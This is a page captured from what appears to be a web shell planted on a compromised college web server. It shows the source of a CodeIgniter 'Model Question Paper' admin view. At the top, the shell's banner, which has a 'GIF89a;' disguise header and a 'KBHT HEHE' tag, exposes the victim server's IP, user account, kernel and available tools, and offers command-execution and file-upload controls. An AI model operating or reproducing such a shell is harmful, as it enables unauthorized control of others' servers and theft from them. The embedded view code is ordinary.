GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.117.75.218
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/views/admin/obes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/views/admin/obes/modelQuestionPaper.php
<!DOCTYPE HTML>
<html>
    <head id="head">
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title><?php
            echo (sizeof($testDetails)) ? $testDetails->test_name : "";
            echo (sizeof($selectedSubjectDetails) ) ? " - " . $selectedSubjectDetails->sm_name : "";
            ?> Model Question Paper | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-popper.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/Chart.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/vfs_fonts.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body>
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/OBESConfig/getModelQuestionPaper"); ?>">Model Question Paper</a></li>                            
                        </ol>
                    </nav>
                    <section class="forms">
                        <div class="card card_border py-2 mb-4">
                            <div class="cards__heading">
                                <h3><i class="fa fa-table"></i>&nbsp;Model Question Paper <?php
                                    echo (sizeof($testDetails)) ? "=> " . $testDetails->test_name : "";
                                    echo (sizeof($selectedSubjectDetails) ) ? " - " . $selectedSubjectDetails->sm_name : "";
                                    ?></h3>
                            </div>
                            <div class="card-body">

                                <?php if (validation_errors() != false) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <?php echo form_open(site_url('admin/OBESConfig/getModelQuestionPaper'), ['name' => 'modelQuestionPaper', 'id' => 'modelQuestionPaper']); ?>

                                <fieldset>
                                    <legend>Session , Course, Semester & Attendance Info. </legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="session" class="input__label">Session *</label>
                                            <select id="session" name="session" class="custom-select">
                                                <option value="">Select Session</option>
                                                <?php
                                                foreach ($sessions as $session) {
                                                    $selected = ($selectedSession == $session->session_id) ? "selected" : "";
                                                    ?>
                                                    <option <?php
                                                    if ($session->session_status == "C" && $selectedSession == "")
                                                        echo "selected";
                                                    echo $selected;
                                                    ?> value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option>
                                                    <?php }
                                                    ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="subjectCourse" class="input__label">Course *</label>
                                            <select id="subjectCourse" name="subjectCourse" class="custom-select">
                                                <option value="">Select Course</option>                                            
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label class="input__label required" for="sm_name">Subject *</label>
                                            <select name="sm_name" id="sm_name" class="custom-select">
                                                <option <?php echo set_select("sm_name", ""); ?> value="">Select Subject</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label class="input__label required" for="test_name">Assessment *</label>
                                            <select name="test_name" id="test_name" class="custom-select">
                                                <option <?php echo set_select("test_name", ""); ?> value="">Select Assessment</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="col-md-12">
                                            <label for="filterAttendanceBtn" class="input__label"></label>
                                            <button id="filterAttendanceBtn" name="filterAttendanceBtn" type="submit" class="btn btn-sm btn-warning pull-right">Apply Filter & Fetch Model Papers &nbsp;<i class="fa fa-filter"></i><i class="fa fa-arrow-right"></i></button>
                                        </div>
                                    </div>
                                    <span id="spnErr" style="color:#FF0000;font-size:15px;font-weight: bolder;"></span>
                                </fieldset>   


                                <?php
                                if (sizeof($modelQuestionPaper)) {
                                    ?>

                                    <fieldset class="mt-5" id="fetchData">
                                        <div class="pull-right">
                                            <button class="btn btn-sm btn-dark" type="button" onclick="printDiv()" id="print"><i class="fa fa-print"></i>&nbsp;Print</button>
                                        </div>

                                        <div class="table-responsive" id="modelPaper">
                                            <legend align="center">Model Question Paper</legend>
                                            <legend align="center"><?php echo $testDetails->test_name . " - " . $selectedSubjectDetails->sm_name; ?></legend>
                                            <table border="1" style="width:100%;" class="table table-bordered  table-hover table-primary" >  
                                                <tr>
                                                    <th>Sno.</th>
                                                    <th>Qno.</th>
                                                    <th width="50%">Questions</th>
                                                    <th>Marks</th>
                                                    <th>CO</th>
                                                    <th>BL</th>
                                                    <th>PO</th>
                                                </tr>  
                                                <tbody id="studentDetails">
                                                    <?php
                                                    for ($i = 0; $i < sizeof($modelQuestionPaper); $i++) {
                                                        $atd = $modelQuestionPaper[$i];
                                                        ?>
                                                        <tr style="border-bottom: 1px solid black;">
                                                            <td valign="top" class="p-3"><?php
                                                                echo $i + 1;
                                                                ;
                                                                ?></td>
                                                            <td valign="top" class="p-3"><?php echo $atd['qno_name']; ?></td>
                                                            <td valign="top" class="p-3">
                                                                <?php echo $atd['qno_desc']; ?>
                                                                <?php
                                                                if (file_exists("./" . trim($atd['qno_file'])) && $atd['qno_file'] != null && $atd['qno_file'] != "") {
                                                                    ?>
                                                                    <hr >
                                                                    <style>
                                                                    </style>
                                                                    <div class="img-responsisve ">
                                                                        <img class="img-thumbnail" height="100" width="220" src="<?php echo 'data:image/png;base64,' . base64_encode(file_get_contents(base_url($atd['qno_file']))) ?>">              
                                                                    </div>
                                                                    <?php
                                                                }
                                                                ?>
                                                            </td>
                                                            <td valign="top" class="p-3"><?php echo $atd['qno_marks']; ?></td>
                                                            <td valign="top" class="p-3"><?php echo $atd['co']; ?></td>
                                                            <td valign="top" class="p-3"><?php echo $atd['qno_level']; ?></td>      
                                                            <td valign="top" class="p-3"><?php echo $atd['po']; ?></td>   
                                                        </tr>
                                                        <?php
                                                    }
                                                    ?>
                                                </tbody>
                                            </table>
                                        </div>   
                                        <div class="row">
                                            <div class="col-lg-6"  id="canvas2">
                                                <div class="card text-center card_border">
                                                    <div class="card-header chart-grid__header">
                                                        Bloom's Level wise Marks Distribution

                                                    </div>
                                                    <div class="card-body">
                                                        <!-- stacked bar chart -->
                                                        <div>
                                                            <canvas id="levelWiseMarksDistributionSummary"></canvas>
                                                        </div>
                                                        <!-- //stacked bar chart -->
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="col-lg-6"  id="canvas1">
                                                <div class="card text-center card_border">
                                                    <div class="card-header chart-grid__header">
                                                        Course Outcome Wise Marks Distribution

                                                    </div>
                                                    <div class="card-body">
                                                        <!-- stacked bar chart -->
                                                        <div>
                                                            <canvas id="coQuestionSummary"></canvas>
                                                        </div>
                                                        <!-- //stacked bar chart -->
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </fieldset>


                                    <?php
                                } else {
                                    ?>
                                    <fieldset class="mt-5">
                                        <legend align="center" style="color:red;">No Model Question Paper Found For Selected Filters</legend>
                                    </fieldset>

                                    <?php
                                }
                                ?>

                                <?php echo form_close(); ?>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $("#session").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() !== "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/Course/getCourseDropdownUsingSession/'); ?>',
                        data: {session_id: $(this).val(), course_id: '', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var courses = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#subjectCourse").html(courses.courses);
                            csrfHash = courses.csrfHash;
                            modelQuestionPaper.csrf_token.value = csrfHash;
                            $("#fetchData").css("display", "none");
                            $("#sm_name").html("<option value=''>Select Subject/Year</option>");
                            $("#test_name").html("<option>Select Assessment</option>");
                        }
                    });

                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#fetchData").css("display", "none");
                    $("#subjectCourse").html("<option value=''>Select Course/Year</option>");
                    $("#sm_name").html("<option value=''>Select Subject/Year</option>");
                    $("#test_name").html("<option>Select Assessment</option>");
                }
            });

            $("#subjectCourse").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() !== "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/Subject/getSubjectsForDropDownUsingCourse/'); ?>',
                        data: {course_id: $(this).val(), subject: '<?php echo $selectedSubject; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subjects = JSON.parse(result);
                            //console.log(subjects);
                            $(".se-pre-con").fadeOut("slow");
                            $("#sm_name").html(subjects.subject_list);
                            csrfHash = subjects.csrfHash;
                            modelQuestionPaper.csrf_token.value = csrfHash;
                            $("#sm_name").trigger("change");
                            $("#fetchData").css("display", "none");
                            $("#test_name").html("<option>Select Assessment</option>");
                        }
                    });

                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#fetchData").css("display", "none");
                    $("#sm_name").html("<option value=''>Select Subject/Year</option>");
                    $("#test_name").html("<option>Select Assessment</option>");
                }
            });

            $("#sm_name").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() !== "") {
                    $.ajax({
                        url: '<?php echo site_url("admin/OBESConfig/getTestsBySubjectForDropdown") ?>',
                        data: {sm_id: $(this).val(), test_id: '<?php echo $selectedAssessment; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var testInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#test_name").html(testInfo.test_list);
                            csrfHash = testInfo.csrfHash;
                            modelQuestionPaper.csrf_token.value = csrfHash;
                            $("#fetchData").css("display", "none");
                            $("#test_name").trigger("change");
                        }
                    });
                } else {
                    $("#test_name").html("<option>Select Assessment</option>");
                    $("#fetchData").css("display", "none");
                    $(".se-pre-con").fadeOut("slow");
                }
            });

            $("#test_name").on("change", function () {
                $("#fetchData").css("display", "block");
            });

            $(document).ready(function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($("#session").val().trim() !== "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/Course/getCourseDropdownUsingSession/'); ?>',
                        data: {session_id: $("#session").val(), course_id: '<?php echo $selectedCourse; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var courses = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#subjectCourse").html(courses.courses);
                            csrfHash = courses.csrfHash;
                            modelQuestionPaper.csrf_token.value = csrfHash;
                            $("#subjectCourse").trigger("change");
                        }
                    });

                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#subjectCourse").html("<option value=''>Select Course/Year</option>");
                    $("#sm_name").html("<option value=''>Select Subject/Year</option>");
                    $("#test_name").html("<option>Select Assessment</option>");
                }

                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($("#subjectCourse").val() !== "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/Subject/getSubjectsForDropDownUsingCourse/'); ?>',
                        data: {course_id: $("#subjectCourse").val(), subject: '<?php echo $selectedSubject; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subjects = JSON.parse(result);
                            console.log(subjects);
                            $(".se-pre-con").fadeOut("slow");
                            $("#sm_name").html(subjects.subject_list);
                            csrfHash = subjects.csrfHash;
                            modelQuestionPaper.csrf_token.value = csrfHash;
                            $("#sm_name").trigger("change");
                        }
                    });

                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#sm_name").html("<option value=''>Select Subject/Year</option>");
                    $("#test_name").html("<option>Select Assessment</option>");
                }

                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($("#sm_name").val() !== "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url("admin/OBESConfig/getTestsBySubjectForDropdown") ?>',
                        data: {sm_id: $("#sm_name").val(), test_id: '<?php echo $selectedAssessment; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var testInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#test_name").html(testInfo.test_list);
                            csrfHash = testInfo.csrfHash;
                            modelQuestionPaper.csrf_token.value = csrfHash;
                            alert();
                        }
                    });
                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#test_name").html("<option>Select Assessment</option>");
                }

<?php
if (sizeof($coQuestionSummary)) {
    ?>

                    /*Course Outcome Wise Marks Distribution Start*/
                    var coQuestionSummary = <?php echo $coQuestionSummary; ?>;
                    new Chart(document.getElementById("coQuestionSummary"), {
                        type: 'bar',
                        data: {
                            labels: coQuestionSummary.labels,
                            datasets: [{
                                    data: coQuestionSummary.data,
                                    label: 'Marks',
                                    backgroundColor: ["#007bff", "#343a40", "#6f42c1", "#e83e8c", "#dc3545", "#fd7e14", "#ffc107", "#28a745", "#20c997", "#17a2b8", "#fff", "#6c757d"],
                                    borderWidth: 1
                                }]
                        },
                        options: {
                            responsive: true,
                            legend: {
                                position: 'top'
                            }
                        }
                    });
                    /*Course Outcome Wise Marks Distribution Ends*/
    <?php
}
?>


<?php
if (sizeof($levelWiseMarksDistributionSummary)) {
    ?>

                    /*Course Outcome Wise Marks Distribution Start*/
                    var levelWiseMarksDistributionSummary = <?php echo $levelWiseMarksDistributionSummary; ?>;
                    new Chart(document.getElementById("levelWiseMarksDistributionSummary"), {
                        type: 'pie',
                        data: {
                            labels: levelWiseMarksDistributionSummary.labels,
                            datasets: [{
                                    data: levelWiseMarksDistributionSummary.data,
                                    label: 'Levels',
                                    backgroundColor: ["#17a2b8","#20c997","#007bff", "#343a40", "#6f42c1", "#e83e8c", "#dc3545", "#fd7e14", "#ffc107", "#28a745",  "#fff", "#6c757d"],
                                    borderWidth: 1
                                }]
                        },
                        options: {
                            responsive: true,
                            legend: {
                                position: 'top'
                            }
                        }
                    });
                    /*Course Outcome Wise Marks Distribution Ends*/
    <?php
}
?>

            });
            $("#filterAttendanceBtn").on("click", function () {
                if ($("#session").val() === "" || $("#session").val() === null) {
                    $("#spnErr").html("Please Select Session To Proceed.");
                    event.preventDefault();
                    $("#session").focus();
                } else if ($("#subjectCourse").val() === "" || $("#subjectCourse").val() === null) {
                    $("#spnErr").html("Please Select Any Course To Subjects.");
                    event.preventDefault();
                    $("#subjectCourse").focus();
                } else if ($("#sm_name").val() === "" || $("#sm_name").val() === null) {
                    $("#spnErr").html("Please Select Any Subject To Fetch Assessments.");
                    event.preventDefault();
                    $("#sm_name").focus();
                } else if ($("#test_name").val() === "" || $("#test_name").val() === null) {
                    $("#spnErr").html("Please Assessment In Order To Fetch Model Paper.");
                    event.preventDefault();
                    $("#test_name").focus();
                } else {
                    $("#spnErr").html("");
                    $("#modelQuestionPaper").submit();
                }
            });

            function printDiv() {
                var divToPrint = document.getElementById('modelPaper');
                var head = document.getElementById('head');
                var canvas1 = document.getElementById("coQuestionSummary");
                var coQuestionSummary = canvas1.toDataURL("image/png");
                var canvas2 = document.getElementById("levelWiseMarksDistributionSummary");
                var levelWiseMarksDistributionSummary = canvas2.toDataURL("image/png");
                var graphs = '<div class="row"><div class="col-sm-6"><div class="card-header chart-grid__header">Blooms Level wise Marks Distribution</div><img src="' + levelWiseMarksDistributionSummary + '"/></div><div class="col-sm-6"><div class="card-header chart-grid__header">Course Outcome Wise Marks Distribution</div><img src="' + coQuestionSummary + '"/></div></div>';
                var newWin = window.open('', 'Print-Window');
                newWin.document.open();
                newWin.document.write('<html>' + head.innerHTML + '<body onload="window.print()">' + divToPrint.innerHTML + graphs + '</body></html>');
                newWin.document.close();
                setTimeout(function () {
                    newWin.close();
                }, 10);
            }
        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023